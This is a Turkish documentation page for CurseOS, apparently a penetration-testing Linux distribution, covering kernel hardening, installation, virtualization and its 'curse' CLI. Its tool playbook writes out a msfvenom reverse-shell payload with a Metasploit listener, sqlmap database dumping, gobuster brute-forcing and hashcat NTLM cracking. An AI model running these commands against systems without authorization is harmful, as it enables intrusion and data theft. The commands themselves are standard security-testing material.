OFFENSIVE COMMAND GENERATOR

Etkileşimli Akıllı Komut Kılavuzu

🤖

Yapmak istediğiniz işlemi yazın veya aşağıdaki kategorilerden birini seçin. İhtiyacınız olan tam CurseOS komutu anında oluşturulur ve tek tıkla kopyalanır.

🔍

1. Sistem Mimarisi & Sertleştirilmiş Çekirdek

CurseOS, kritik siber güvenlik operasyonlarında operasyonel güvenliği en üst düzeye çıkarmak için optimize edilmiştir. Temelini Ubuntu 24.04 LTS (Noble Numbat) minimal çekirdeğinden alır ve üzerine özel Linux 6.8 kernel self-protection mekanizmaları entegre edilmiştir.

Çekirdek Düzeyinde Güvenlik Sertleştirmesi (Sysctl Hardening)

Sistem, /etc/sysctl.d/99-curseos-hardening.conf altında tanımlanan aşağıdaki çekirdek koruma kurallarıyla önyüklenir:

/etc/sysctl.d/99-curseos-hardening.conf
# Çekirdek bellek işaretçilerini yetkisiz kullanıcılardan gizle
kernel.kptr_restrict = 2

# dmesg çekirdek log tamponuna sıradan kullanıcıların erişimini engelle
kernel.dmesg_restrict = 1

# Ptrace kısıtlaması: Yalnızca root veya üst süreçler ptrace yapabilir
kernel.yama.ptrace_scope = 2

# Yetkisiz kullanıcıların eBPF çalıştırmasını bloke et
kernel.unprivileged_bpf_disabled = 1

# Bellek koruma: ASLR rastgelelik entropisini maksimuma çıkar
vm.mmap_rnd_bits = 32
vm.mmap_rnd_compat_bits = 16

# Sembolik bağlantı ve FIFO yarış durumu (race condition) saldırılarını engelle
fs.protected_symlinks = 1
fs.protected_hardlinks = 1
fs.protected_fifos = 2
fs.protected_regular = 2

# SYN Flood ve IP Spoofing koruması
net.ipv4.tcp_syncookies = 1
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1

CurseOS Dosya Sistemi Yerleşimi

Dizin Yolu Yetki İşlev ve Açıklama
/usr/local/bin/curse rwxr-xr-x Ana siber güvenlik ve anonimlik orkestrasyon ikiliği.
/usr/local/bin/setupnow rwxr-xr-x Çift dilli canlı ncurses disk bölümleme ve sistem kurulum motoru.
/usr/local/bin/curseos-desktop rwxr-xr-x Masaüstü ortamı (KDE, XFCE, GNOME) değiştirici ve yapılandırma yöneticisi.
/usr/local/bin/curseos-wallpaper-apply rwxr-xr-x 4 katmanlı evrensel arka plan eşitleme ve ekran çözünürlük ölçekleyici.
/usr/local/share/curseos/ r-xr-xr-x CurseOS HD duvar kağıtları, amblem logoları ve profil şablonları.

2. ISO İndirme & Kriptografik Bütünlük

CurseOS kurulum medyasını resmi sunuculardan indirirken imajın kurcalanmadığını doğrulamak kritik bir güvenlik adımıdır.

Resmi İndirme Bağlantıları

Terminal İndirme Komutları (Wget & cURL)
# Wget ile kesintisiz indirme
wget -c https://releases.curseos.org/v1.0/curseos-1.0-phantom-amd64.iso

# Veya cURL ile indirme
curl -C - -O https://releases.curseos.org/v1.0/curseos-1.0-phantom-amd64.iso

SHA-256 Kriptografik Bütünlük Doğrulaması

İndirdiğiniz dosyanın bayt bayt resmi sürümle eşleştiğini doğrulamak için terminalde şu komutu çalıştırın:

SHA-256 Doğrulama
echo "c08f47b28d0959ceae9f365538e12d4a7c0303ba7d5666f21c17242d592fcf27  curseos-1.0-phantom-amd64.iso" | sha256sum -c

# Beklenen Çıktı:
# curseos-1.0-phantom-amd64.iso: OK

Fiziksel Bilgisayarlar İçin USB Belleğe Yazma

⚠
Önemli Uyarı: dd komutu hedef sürücüyü tamamen sıfırlar. lsblk komutunu çalıştırarak USB diskinizin gerçek harfini (örneğin /dev/sdb) tespit ettiğinizden emin olun.
USB Yazma Komutu (dd)
sudo dd if=curseos-1.0-phantom-amd64.iso of=/dev/sdX bs=4M status=progress oflag=sync

3. Setupnow Kurulum Rehberi

CurseOS, modern grafiksel kurulum araçlarının sanal makinelerde veya eski GPU'larda çökmesini önlemek amacıyla özel geliştirilmiş yüksek kararlılığa sahip setupnow ncurses kurulum motoru ile gelir.

Kurulum Aracını Başlatma
sudo setupnow
1 Hedef Disk Seçimi (Target Disk Discovery)

Kurulum aracı lsblk çıktısını analiz ederek sistemdeki tüm depolama birimlerini (SATA SSD /dev/sda, NVMe /dev/nvme0n1 veya sanal disk /dev/vda) listeler. Kurulumun yapılacağı diski seçin.

2 Dil ve Bölge Ayarı (Language & Locale)

Sistem dilini belirleyin: English (US) veya Türkçe (TR). Seçilen dil; GRUB menüsü, TTY oturum açma ekranı, masaüstü yöneticisi ve varsayılan sistem değişkenlerine (LANG=tr_TR.UTF-8) anında işlenir.

3 Klavye Düzeni (Keyboard Layout)

Klavye haritasını seçin: Türkçe Q klavye (tr), Türkçe F klavye, İngilizce (us) veya Almanca.

4 Hostname ve Kullanıcı Hesapları

Sistem için ağ adı (varsayılan: curseos) ve günlük operasyonlar için bir kullanıcı adı ve parola belirleyin. Belirlenen kullanıcı otomatik olarak sudo, wireshark ve netdev gruplarına dahil edilir.

5 Otomatik Bölümleme ve Dosya Sistemi Dağıtımı

setupnow hedef disk üzerinde GPT tablosu oluşturur; 512 MB boyutunda FAT32 EFI Sistem Bölümü (ESP) ve kalan alanda ext4 kök (/) bölümü hazırlar. Canlı medyadaki tüm sistem dosyaları rsync -aAXv ile hedef bölüme aktarılır.

6 GRUB2 EFI Önyükleyici Yapılandırması

Önyükleyici, hedef sistemin EFI bölümüne grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=CurseOS komutuyla yazılır ve NVRAM kayıtları güncellenir.

4. Sanallaştırma & Donanım Kurulumu

CurseOS, donanım seviyesinde sanallaştırma teknolojileriyle (KVM, VMware, VirtualBox) tam entegre çalışacak şekilde optimize edilmiştir.

QEMU / KVM Doğrudan Çalıştırma

En yüksek I/O ve işlemci performansını elde etmek için KVM donanım ivmelendirmesini kullanın:

QEMU Başlatma Komutu
# 1. 30 GB Sanal Disk Oluştur
qemu-img create -f qcow2 curseos-disk.qcow2 30G

# 2. ISO ile Boot Et ve Kuruluma Başla
qemu-system-x86_64 -enable-kvm -cpu host -smp 4 -m 4096 \
  -hda curseos-disk.qcow2 -cdrom curseos-1.0.iso -boot d \
  -vga virtio -net nic,model=virtio -net user

# 3. Kurulum Sonrası Kurulu Diskten Başlat
qemu-system-x86_64 -enable-kvm -cpu host -smp 4 -m 4096 \
  -hda curseos-disk.qcow2 -boot c \
  -vga virtio -net nic,model=virtio -net user

VirtualBox En İyi Yapılandırma Ayarları

  • Tür: Linux • Sürüm: Ubuntu (64-bit)
  • Sistem > Anakart: "EFI'yi Etkinleştir (yalnızca özel İS'ler)" seçeneğini işaretleyin.
  • Ekran > Ekran Kartı: VBoxSVGA seçin, Ekran Belleğini 128 MB yapın ve 3B Hızlandırmayı etkinleştirin.
  • Ağ: Red Teaming veya hedef lab ortamları için "Köprü Bağdaştırıcısı" (Bridged Adapter) modunu seçin.

5. Curse CLI Komut Kılavuzu

curse komutu, CurseOS üzerinde karmaşık güvenlik operasyonlarını tek bir komuta indirgeyen yerel çok işlevli CLI çerçevesidir.

curse scan • Otomatik Çok Aşamalı Port ve Servis Analizi

Hedef IP veya alt ağ üzerinde ICMP canlılık testi, hızlı SYN taraması ve servis sürüm tespiti gerçekleştirir.

curse scan Kullanımı
curse scan 192.168.1.1
curse scan 10.10.10.0/24 --deep --output /root/scan_results.txt

curse audit • Web Güvenlik ve Başlık Denetimi

Hedef web uygulamasının güvenlik başlıklarını, SSL/TLS şifreleme kalitesini, robots.txt ve hassas dizinlerini inceler.

curse audit Kullanımı
curse audit https://target.internal

curse anon • Tor Şeffaf Yönlendirme ve DNS Sızıntı Kilidi

Sistem seviyesinde tüm TCP bağlantılarını yerel Tor servisine yönlendirir ve DNS isteklerini şifreler.

curse anon Alt Komutları
curse anon start     # Tor şeffaf vekili ve DNS kilidini devreye al
curse anon status    # Aktif dış IP adresini ve Tor devresini denetle
curse anon newnym    # Çıkış düğümünü ve IP adresini hemen değiştir
curse anon stop      # Doğrudan internet bağlantısına güvenle geri dön

curse wordlist • Hedefe Yönelik Parola Listesi Üreteci

curse wordlist Kullanımı
curse wordlist generate --target "AcmeCorp,2024,Security,Admin" --min 8 --max 16
curse wordlist download rockyou

6. Masaüstü Yönetimi (curseos-desktop)

CurseOS, birden fazla masaüstü ortamını yan yana çalıştırabilen modüler bir yapıya sahiptir. curseos-desktop aracı ile ortamlar arasında geçiş yapabilirsiniz:

Masaüstü Değiştirme Komutları
curseos-desktop kde       # KDE Plasma 5/6 Siber Kızıl Ortamına Geç
curseos-desktop xfce      # XFCE4 Taktiksel Hızlı Hafif Ortama Geç
curseos-desktop gnome     # GNOME 46 Modern İş İstasyonu Ortamına Geç
curseos-desktop cinnamon  # Geleneksel Çift Panelli Menü Düzenine Geç

7. Ekran Motoru & Duvar Kağıdı Eşitleme

Çözünürlük değişikliklerinde veya sanal makine penceresi yeniden boyutlandırıldığında curseos-wallpaper-apply betiği 4 farklı masaüstü katmanına doğrudan komut göndererek arka planı kusursuz ölçekler:

  • KDE Plasma: DBus üzerinden JavaScript Plasma Scripting motorunu tetikler.
  • XFCE4: xfconf-query ile tüm aktif monitörlerin last-image kanallarını günceller.
  • GNOME / Cinnamon: gsettings set org.gnome.desktop.background picture-uri kanalını günceller.
  • Saf Pencere Yöneticileri: feh --bg-fill veya nitrogen ile donanım katmanını besler.

8. Siber Araçlar Kataloğu & Playbook

CurseOS bünyesinde yer alan araçların gerçek operasyonel kullanım örnekleri:

Metasploit Framework (msfconsole & msfvenom)

msfvenom Payload & Dinleyici Başlatma
# 1. 64-bit Linux Meterpreter ELF Payload Üret
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o shell.elf

# 2. Metasploit Dinleyiciyi Tek Satırda Başlat
msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; exploit"

Gobuster • Dizin ve Sanal Host (vhost) Kaba Kuvvet Saldırısı

Gobuster Kullanımı
# Web Dizini Taraması
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -x php,txt,json -t 40

# Vhost (Virtual Host) Taraması
gobuster vhost -u https://target.com -w /usr/share/wordlists/subdomains-top1million-5000.txt

SQLMap • Otomatik Veritabanı Enjeksiyonu

SQLMap Kullanımı
sqlmap -u "https://target.com/page?id=5" --batch --tamper=space2comment --dbs
sqlmap -u "https://target.com/page?id=5" -D secret_db --tables --dump

Hashcat • GPU Destekli Hash Kırma

Hashcat NTLM / SHA256 Modları
# Windows Active Directory NTLM Hash (Mode 1000)
hashcat -m 1000 -a 0 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt -O

# SHA-256 Hash (Mode 1400)
hashcat -m 1400 -a 0 sha256_hashes.txt /usr/share/wordlists/rockyou.txt -O

9. Hata Çözümü & Sistem Kurtarma

1. "Failed to get write lock" QEMU / NBD Hatası

QEMU sanal disk imajı başka bir süreç veya asılı kalan nbd modülü tarafından kilitlendiğinde oluşur. Çözüm:

NBD Bağlantısını Kesme ve Süreç Temizleme
# 1. Asılı kalan NBD aygıtını ayır
sudo qemu-nbd -d /dev/nbd0

# 2. Arka planda kilit tutan qemu süreçlerini sonlandır
sudo killall -9 qemu-system-x86_64

# 3. Diskin serbest kaldığını doğrula ve başlat
qemu-system-x86_64 -enable-kvm -m 4G -hda curseos-disk.qcow2 -boot c

2. GRUB Rescue Modu Onarımı (Canlı Medyadan Chroot İle)

Eğer sistem açılışında grub rescue> ekranı gelirse:

Chroot İle GRUB Yeniden Yükleme
# Canlı CurseOS ISO'sundan terminali açın:
sudo mount /dev/sda2 /mnt
sudo mount /dev/sda1 /mnt/boot/efi
sudo mount --bind /dev /mnt/dev
sudo mount --bind /proc /mnt/proc
sudo mount --bind /sys /mnt/sys

# Chroot içerisine geçin:
sudo chroot /mnt

# GRUB yapılandırmasını yenileyin:
grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=CurseOS
update-grub
exit

# Bölümleri ayırıp yeniden başlatın:
sudo umount -R /mnt
sudo reboot

10. ISO Yeniden Derleme & Özelleştirme

Kendi özel güvenlik araçlarınızı CurseOS ISO'suna eklemek ve yeniden bootable hibrit ISO derlemek için standart prosedür:

SquashFS Açma, Düzenleme ve Sıkıştırma
# 1. Squashfs kök dosya sistemini açın
sudo unsquashfs -d edit_rootfs/ casper/filesystem.squashfs

# 2. Chroot içerisine girip paketlerinizi ekleyin
sudo chroot edit_rootfs/
apt-get update && apt-get install -y custom-tool
exit

# 3. Yüksek oranlı Zstandard sıkıştırmasıyla squashfs paketleyin
sudo mksquashfs edit_rootfs/ casper/filesystem.squashfs -comp zstd -Xcompression-level 19 -noappend

# 4. xorriso ile hibrit UEFI/BIOS ISO üretin
xorriso -as mkisofs -r -V "CurseOS_1_0" \
  -J -joliet-long -cache-inodes \
  -isohybrid-mbr /usr/lib/ISOLINUX/isohdpfx.bin \
  -b isolinux/isolinux.bin -c isolinux/boot.cat \
  -boot-load-size 4 -boot-info-table -no-emul-boot \
  -eltorito-alt-boot \
  -e boot/grub/efi.img -no-emul-boot -isohybrid-gpt-basdat \
  -o curseos-1.0-custom.iso iso_directory/